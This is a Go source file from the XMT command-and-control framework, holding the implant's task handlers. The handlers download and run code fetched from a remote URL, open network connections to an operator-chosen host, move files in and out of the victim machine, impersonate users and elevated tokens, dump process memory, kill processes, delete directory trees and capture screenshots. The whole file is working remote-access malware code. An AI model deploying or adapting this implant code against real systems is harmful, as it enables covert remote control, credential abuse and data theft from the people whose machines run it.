github.com/iDigitalFlame/xmt@v0.5.4/c2/task/io.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package task 18 19 import ( 20 "context" 21 "io" 22 "net" 23 "os" 24 "strings" 25 "time" 26 27 "github.com/iDigitalFlame/xmt/cmd" 28 "github.com/iDigitalFlame/xmt/cmd/filter" 29 "github.com/iDigitalFlame/xmt/com" 30 "github.com/iDigitalFlame/xmt/data" 31 "github.com/iDigitalFlame/xmt/device" 32 "github.com/iDigitalFlame/xmt/device/screen" 33 "github.com/iDigitalFlame/xmt/man" 34 "github.com/iDigitalFlame/xmt/util/bugtrack" 35 "github.com/iDigitalFlame/xmt/util/xerr" 36 ) 37 38 // Netcat connection constants 39 const ( 40 NetcatTCP uint8 = 0 41 NetcatUDP = iota 42 NetcatTLS 43 NetcatTLSInsecure 44 NetcatICMP 45 ) 46 47 const ( 48 taskIoDelete uint8 = 0 49 taskIoDeleteAll = iota 50 taskIoMove 51 taskIoCopy 52 taskIoTouch 53 taskIoKill 54 taskIoKillName 55 ) 56 57 var ( 58 _ backer = (*data.Chunk)(nil) 59 _ backer = (*com.Packet)(nil) 60 ) 61 62 type backer interface { 63 Grow(int) error 64 WriteUint32Pos(int, uint32) error 65 } 66 67 func waitThenDelete(e cmd.Runnable, p string) { 68 if bugtrack.Enabled { 69 defer bugtrack.Recover("task.waitThenDelete()") 70 } 71 e.Wait() 72 os.Remove(p) 73 } 74 func taskWait(x context.Context, r data.Reader, _ data.Writer) error { 75 d, err := r.Int64() 76 if err != nil { 77 return err 78 } 79 if d <= 0 { 80 return nil 81 } 82 t := time.NewTimer(time.Duration(d)) 83 select { 84 case <-t.C: 85 case <-x.Done(): 86 } 87 t.Stop() 88 return nil 89 } 90 func taskPull(x context.Context, r data.Reader, w data.Writer) error { 91 var ( 92 u, a, p string 93 err = r.ReadString(&u) 94 ) 95 // NOTE(dij): Do these escape? 96 // Sometimes the compiler thinks so. 97 if err != nil { 98 return err 99 } 100 if err = r.ReadString(&a); err != nil { 101 return err 102 } 103 if err = r.ReadString(&p); err != nil { 104 return err 105 } 106 o, err := man.WebRequest(x, u, a) 107 if err != nil { 108 return err 109 } 110 if o.StatusCode >= 400 { 111 o.Body.Close() 112 return xerr.Sub("invalid HTTP response", 0x67) 113 } 114 if len(p) == 0 { // If the destination path is zero, then redirect it to the Writer 115 w.WriteString("") 116 if w.WriteInt64(0); o.Request.ContentLength > 0 { 117 if s, ok := w.(backer); ok { 118 s.Grow(int(o.Request.ContentLength)) 119 } 120 } 121 _, err := io.Copy(w, o.Body) 122 o.Body.Close() 123 return err 124 } 125 var ( 126 v = device.Expand(p) 127 f *os.File 128 ) 129 // 0x242 - CREATE | TRUNCATE | RDWR 130 if f, err = os.OpenFile(v, 0x242, 0755); err != nil { 131 o.Body.Close() 132 return err 133 } 134 n, err := readFromFile(f, o.Body) 135 o.Body.Close() 136 f.Close() 137 w.WriteString(v) 138 w.WriteInt64(n) 139 return err 140 } 141 func taskEvade(_ context.Context, r data.Reader, _ data.Writer) error { 142 f, err := r.Uint8() 143 if err != nil { 144 return err 145 } 146 return device.Evade(f) 147 } 148 func taskLogins(_ context.Context, _ data.Reader, w data.Writer) error { 149 e, err := device.Logins() 150 if err != nil { 151 return err 152 } 153 w.WriteUint16(uint16(len(e))) 154 for i := 0; i < len(e) && i < 0xFFFF; i++ { 155 if err = e[i].MarshalStream(w); err != nil { 156 return err 157 } 158 } 159 return nil 160 } 161 func taskNetcat(x context.Context, r data.Reader, w data.Writer) error { 162 h, err := r.StringVal() 163 if err != nil { 164 return err 165 } 166 p, err := r.Uint8() 167 if err != nil { 168 return err 169 } 170 t, err := r.Uint64() 171 if err != nil { 172 return err 173 } 174 b, err := r.Bytes() 175 if err != nil { 176 return err 177 } 178 y, f := x, func() {} 179 if t > 0 { 180 y, f = context.WithTimeout(x, time.Duration(t)) 181 } 182 var c net.Conn 183 switch p & 0xF { 184 case NetcatUDP: 185 c, err = com.UDP.Connect(y, h) 186 case NetcatTLS: 187 c, err = com.TLS.Connect(y, h) 188 case NetcatTLSInsecure: 189 c, err = com.TLSInsecure.Connect(y, h) 190 case NetcatICMP: 191 c, err = com.ICMP.Connect(y, h) 192 default: 193 c, err = com.TCP.Connect(y, h) 194 } 195 if err != nil { 196 f() 197 return err 198 } 199 k := time.Second * 5 200 if t > 0 { 201 k = time.Duration(t) 202 } 203 if len(b) > 0 { 204 c.SetWriteDeadline(time.Now().Add(k)) 205 n, err := c.Write(b) 206 if err != nil { 207 f() 208 c.Close() 209 return err 210 } 211 if n != len(b) { 212 f() 213 c.Close() 214 return io.ErrShortWrite 215 } 216 } 217 if p&0x80 == 0 { 218 f() 219 c.Close() 220 return nil 221 } 222 n := data.NewCtxReader(x, c) 223 c.SetReadDeadline(time.Now().Add(k)) 224 _, err = io.Copy(w, n) 225 f() 226 n.Close() 227 return err 228 } 229 func taskUpload(x context.Context, r data.Reader, w data.Writer) error { 230 s, err := r.StringVal() 231 if err != nil { 232 return err 233 } 234 var ( 235 v = device.Expand(s) 236 f *os.File 237 ) 238 // 0x242 - CREATE | TRUNCATE | RDWR 239 if f, err = os.OpenFile(v, 0x242, 0644); err != nil { 240 return err 241 } 242 n := data.NewCtxReader(x, r) 243 c, err := io.Copy(f, n) 244 n.Close() 245 f.Close() 246 w.WriteString(v) 247 w.WriteInt64(c) 248 return err 249 } 250 func taskRename(_ context.Context, r data.Reader, _ data.Writer) error { 251 s, err := r.StringVal() 252 if err != nil { 253 return err 254 } 255 return device.SetProcessName(s) 256 } 257 func taskElevate(_ context.Context, r data.Reader, _ data.Writer) error { 258 var f filter.Filter 259 if err := f.UnmarshalStream(r); err != nil { 260 return err 261 } 262 if f.Empty() { 263 f = filter.Filter{Elevated: filter.True} 264 } 265 return device.Impersonate(&f) 266 } 267 func taskRevSelf(_ context.Context, _ data.Reader, _ data.Writer) error { 268 return device.RevertToSelf() 269 } 270 func taskDownload(x context.Context, r data.Reader, w data.Writer) error { 271 s, err := r.StringVal() 272 if err != nil { 273 return err 274 } 275 var ( 276 v = device.Expand(s) 277 i os.FileInfo 278 ) 279 if i, err = os.Stat(v); err != nil { 280 return err 281 } 282 if w.WriteString(v); i.IsDir() { 283 w.WriteBool(true) 284 w.WriteInt64(0) 285 return nil 286 } 287 c := i.Size() 288 w.WriteBool(false) 289 w.WriteInt64(c) 290 if s, ok := w.(backer); ok { 291 s.Grow(int(c)) 292 } 293 // 0 - READONLY 294 f, err := os.OpenFile(v, 0, 0) 295 if err != nil { 296 return err 297 } 298 n := data.NewCtxReader(x, f) 299 _, err = io.Copy(w, n) 300 n.Close() 301 return err 302 } 303 func taskPullExec(x context.Context, r data.Reader, w data.Writer) error { 304 var ( 305 u, a string 306 z bool 307 err = r.ReadString(&u) 308 ) 309 // NOTE(dij): Do these escape? 310 // Sometimes the compiler thinks so. 311 if err != nil { 312 return err 313 } 314 if err = r.ReadString(&a); err != nil { 315 return err 316 } 317 if err = r.ReadBool(&z); err != nil { 318 return err 319 } 320 var f *filter.Filter 321 if err = filter.UnmarshalStream(r, &f); err != nil { 322 return err 323 } 324 var ( 325 e cmd.Runnable 326 p string 327 ) 328 if z { 329 w.WriteUint64(0) // Prime our buffer to handle the PID/ExitCode 330 e, p, err = man.WebExec(x, w, u, a) 331 } else { 332 e, p, err = man.WebExec(x, nil, u, a) 333 } 334 if err != nil { 335 if len(p) > 0 { 336 os.Remove(p) 337 } 338 return err 339 } 340 e.SetParent(f) 341 if err = e.Start(); err != nil { 342 if len(p) > 0 { 343 os.Remove(p) 344 } 345 return err 346 } 347 if !z { 348 if w.WriteUint64(uint64(e.Pid()) << 32); len(p) > 0 { 349 go waitThenDelete(e, p) 350 } 351 return nil 352 } 353 i := e.Pid() 354 if err = e.Wait(); len(p) > 0 { 355 os.Remove(p) 356 } 357 if _, ok := err.(*cmd.ExitError); err != nil && !ok { 358 return err 359 } 360 var ( 361 c, _ = e.ExitCode() 362 s, _ = w.(backer) 363 ) 364 if s == nil { 365 return nil 366 } 367 s.WriteUint32Pos(0, i) 368 s.WriteUint32Pos(4, uint32(c)) 369 return nil 370 } 371 func taskProcDump(_ context.Context, r data.Reader, w data.Writer) error { 372 var f *filter.Filter 373 if err := filter.UnmarshalStream(r, &f); err != nil { 374 return err 375 } 376 return device.DumpProcess(f, w) 377 } 378 func taskSystemIo(x context.Context, r data.Reader, w data.Writer) error { 379 t, err := r.Uint8() 380 if err != nil { 381 return err 382 } 383 switch w.WriteUint8(t); t { 384 case taskIoKill: 385 i, err := r.Uint32() 386 if err != nil { 387 return err 388 } 389 var p *os.Process 390 if p, err = os.FindProcess(int(i)); err != nil { 391 return err 392 } 393 err = p.Kill() 394 p.Release() 395 return err 396 case taskIoTouch: 397 n, err := r.StringVal() 398 if err != nil { 399 return err 400 } 401 k := device.Expand(n) 402 if _, err = os.Stat(k); err == nil { 403 return nil 404 } 405 // 0x242 - CREATE | TRUNCATE | RDWR 406 f, err1 := os.OpenFile(k, 0x242, 0644) 407 if err1 != nil { 408 return err1 409 } 410 f.Close() 411 return nil 412 case taskIoDelete: 413 n, err := r.StringVal() 414 if err != nil { 415 return err 416 } 417 return os.Remove(device.Expand(n)) 418 case taskIoKillName: 419 n, err := r.StringVal() 420 if err != nil { 421 return err 422 } 423 e, err1 := cmd.Processes() 424 if err1 != nil { 425 return err1 426 } 427 var p *os.Process 428 for i := range e { 429 if !strings.EqualFold(n, e[i].Name) { 430 continue 431 } 432 if p, err = os.FindProcess(int(e[i].PID)); err != nil { 433 break 434 } 435 err = p.Kill() 436 if p.Release(); err != nil { 437 break 438 } 439 } 440 e, p = nil, nil 441 return err 442 case taskIoDeleteAll: 443 n, err := r.StringVal() 444 if err != nil { 445 return err 446 } 447 return os.RemoveAll(device.Expand(n)) 448 case taskIoMove, taskIoCopy: 449 var n, d string 450 // NOTE(dij): Do these escape? 451 // Sometimes the compiler thinks so. 452 if err = r.ReadString(&n); err != nil { 453 return err 454 } 455 if err = r.ReadString(&d); err != nil { 456 return err 457 } 458 var ( 459 s, f *os.File 460 k = device.Expand(n) 461 u = device.Expand(d) 462 ) 463 // 0 - READONLY 464 if s, err = os.OpenFile(k, 0, 0); err != nil { 465 return err 466 } 467 // 0x242 - CREATE | TRUNCATE | RDWR 468 if f, err = os.OpenFile(u, 0x242, 0644); err != nil { 469 s.Close() 470 return err 471 } 472 var ( 473 v = data.NewCtxReader(x, s) 474 c int64 475 ) 476 c, err = io.Copy(f, v) 477 v.Close() 478 f.Close() 479 w.WriteString(u) 480 if w.WriteInt64(c); t == taskIoCopy || err != nil { 481 return err 482 } 483 return os.Remove(k) 484 } 485 return xerr.Sub("invalid operation", 0x68) 486 } 487 func taskLoginUser(_ context.Context, r data.Reader, _ data.Writer) error { 488 // NOTE(dij): This function is here and NOT in an OS-specific file as I 489 // hopefully will find a *nix way to do this also. 490 i, err := r.Bool() 491 if err != nil { 492 return err 493 } 494 var u, d, p string 495 if err = r.ReadString(&u); err != nil { 496 return err 497 } 498 if err = r.ReadString(&d); err != nil { 499 return err 500 } 501 if err = r.ReadString(&p); err != nil { 502 return err 503 } 504 if i { 505 return device.ImpersonateUser(u, d, p) 506 } 507 return device.ImpersonateUserNetwork(u, d, p) 508 } 509 func taskScreenShot(_ context.Context, _ data.Reader, w data.Writer) error { 510 return screen.Capture(w) 511 }